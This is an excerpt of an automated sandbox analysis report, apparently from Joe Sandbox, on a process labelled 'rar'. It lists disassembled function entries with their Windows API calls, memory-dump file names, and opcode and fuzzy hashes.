                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ConsoleFileHandleModeType
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4141822043-0
                                                                                                                                                                                                                                          • Opcode ID: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
                                                                                                                                                                                                                                          • Instruction ID: 6479b494631c9286af13c88ecb5489e5b5e55f9f4e057ca0f5295560a854ac22
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b15bfddebd279c5c829c27adb93723b3551ef5d7968acfa0ad204a509e36213f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A1E08610E0A502E2EA64476155B52B40261BF89790F5810B8DC0FCA390DE2CA789D700
                                                                                                                                                                                                                                          Function 00007FF68A262488 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1703294689-0
                                                                                                                                                                                                                                          • Opcode ID: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
                                                                                                                                                                                                                                          • Instruction ID: fb2a2428630a1bfce8185538a2f17d3d01d93072a8dee712bd507e91a48b5098
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: dc222732d609072635a32a4c442b917d442ee89fc7b927a0b9cfc4e365035d5e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 71E0E520B0B615E2EB646B209AA52B92262BF88751F0854BCCD0EC6392CE2DA448D350
                                                                                                                                                                                                                                          Function 00007FF68A224044 Relevance: 3.3, APIs: 2, Instructions: 336COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CharEnvironmentExpandStrings
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4052775200-0
                                                                                                                                                                                                                                          • Opcode ID: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
                                                                                                                                                                                                                                          • Instruction ID: cae625b4ac12a5c005f8c4e4061ed5516dd113787e918283aa4b75e7fe2e4c3f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a3ba1b03603a475655284a6a52820d5ab219f11978c107c81e75b3572b44f527
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EFE1C322A2A682E1EB308F24D6201FDA660FF55794F484179DF9E876D9DF7CE441E700
                                                                                                                                                                                                                                          Function 00007FF68A221AF0 Relevance: 3.1, APIs: 2, Instructions: 85fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • CreateFileW.KERNELBASE(?,?,00000800,?,00000000,00007FF68A217EBE,00000000,00000000,00000000,00000000,00000007,00007FF68A217C48), ref: 00007FF68A221B8D
                                                                                                                                                                                                                                          • CreateFileW.KERNEL32(?,?,00000800,?,00000000,00007FF68A217EBE,00000000,00000000,00000000,00000000,00000007,00007FF68A217C48), ref: 00007FF68A221BD7
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CreateFile
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 823142352-0
                                                                                                                                                                                                                                          • Opcode ID: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
                                                                                                                                                                                                                                          • Instruction ID: 7f0d802780e6ca012e9273b472d64f73b9bdad10c59185726bf44d5a8061b2e7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4219d35e49beb692727e1c809157a61a389fcef5d2ea993dee933b1b68bc62b7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C2314473A2A68186E7308F20E5157E962A0FF44B78F084378DEAC866C5DF7CC485D700
                                                                                                                                                                                                                                          Function 00007FF68A23915C Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 69db96ca1da17c6a2eb1160e9404b7f872c8654a3bd96e1949819b6dda332cdc
                                                                                                                                                                                                                                          • Instruction ID: 31c3d0bd20018e60b7319e816109506a5e1fa55274ba798add77dfd7cffe08bb
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 69db96ca1da17c6a2eb1160e9404b7f872c8654a3bd96e1949819b6dda332cdc
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2911D63190AB81D1DA60EB64A6643E9B294FF45790F18027CDEDD477E6DE7CD011D300
                                                                                                                                                                                                                                          Function 00007FF68A2220B4 Relevance: 3.0, APIs: 2, Instructions: 45COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2976181284-0
                                                                                                                                                                                                                                          • Opcode ID: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
                                                                                                                                                                                                                                          • Instruction ID: 38d9bd12518e24e820511e5071d89330a3f2029f9eddeeb9225b92fc8068421f
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5815bd41f5973e06c2119053be911941aef37d92954e301d013d2bb4fe8795dc
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 90010621A2A681D1EB748F25A7104B8A261BF58BB0F1C5274DE3D83BD1CE2DE441E700
                                                                                                                                                                                                                                          Function 00007FF68A217A68 Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • setbuf.LIBCMT ref: 00007FF68A217A7B
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A262AE4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF68A267EF3
                                                                                                                                                                                                                                          • setbuf.LIBCMT ref: 00007FF68A217A8F
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A217B44: GetStdHandle.KERNEL32(?,?,?,00007FF68A217A9E), ref: 00007FF68A217B4A
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A217B44: GetFileType.KERNELBASE(?,?,?,00007FF68A217A9E), ref: 00007FF68A217B56
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A217B44: GetConsoleMode.KERNEL32(?,?,?,00007FF68A217A9E), ref: 00007FF68A217B69
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A262ABC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF68A262AD0
                                                                                                                                                                                                                                            • Part of subcall function 00007FF68A262B40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF68A262C1C
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 4044681568-0
                                                                                                                                                                                                                                          • Opcode ID: f07192c79666a39956ec6c96c62a0ae78d5d429c3948e52a2bea909d14abfe3a
                                                                                                                                                                                                                                          • Instruction ID: 838db52e79032343617c0fa29c3bbcada5b8754504f936cd431af93632624ef4
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f07192c79666a39956ec6c96c62a0ae78d5d429c3948e52a2bea909d14abfe3a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6701B300E4B182A5FB38A2B55AB23F91556AFA1310F4C41BCEA5E8A3D3CE1D2801E761
                                                                                                                                                                                                                                          Function 00007FF68A222440 Relevance: 3.0, APIs: 2, Instructions: 37COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2976181284-0
                                                                                                                                                                                                                                          • Opcode ID: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
                                                                                                                                                                                                                                          • Instruction ID: d71bbbc5b2cae8f94c149985b6d6f81fbe0c504395cc1635ae4a9fe3e49c6f23
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3cdbc9fc115b3786672d0ab875eb06079944196e3b63107a1cba7715dce50020
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: DA017C21A19642E1EB749F29E6602B86260BF44B78F184379EA3D811E5CE2DE586E710
                                                                                                                                                                                                                                          Function 00007FF68A2230C8 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetFileAttributesW.KERNELBASE(00000800,00007FF68A22305D,?,?,?,?,?,?,?,?,00007FF68A234126,?,?,?,?,00000800), ref: 00007FF68A2230F0
                                                                                                                                                                                                                                          • GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF68A234126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF68A223119
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AttributesFile
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3188754299-0
                                                                                                                                                                                                                                          • Opcode ID: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
                                                                                                                                                                                                                                          • Instruction ID: 77828226cf456c436782ee06bd0c621f2eef4748a09903cc4e81e92ced1a379e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2e2186a7cb8ede8c780016636985b78a342ec6e28c4d5099e5617c1395310ad3
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 65F0A421B1A68191EA709B24F6653E96360BF4C7D4F4401B8ED9CC3799CE6CD544DA00
                                                                                                                                                                                                                                          Function 00007FF68A24B3F0 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: DirectoryLibraryLoadSystem
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1175261203-0
                                                                                                                                                                                                                                          • Opcode ID: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
                                                                                                                                                                                                                                          • Instruction ID: 2eee63e879a9dc9e6a526336035aec124868711da953f902c0d1550c5e9b5c7b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 690506ff7ad01b68561af502f5f6bdd4c4444b6941644f14759842c93308c1c9
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8CF06261B1A581E2FA709B21E9253F66364BF88784F8800B9EDCDC2699DE2CD644DA10
                                                                                                                                                                                                                                          Function 00007FF68A24BA70 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
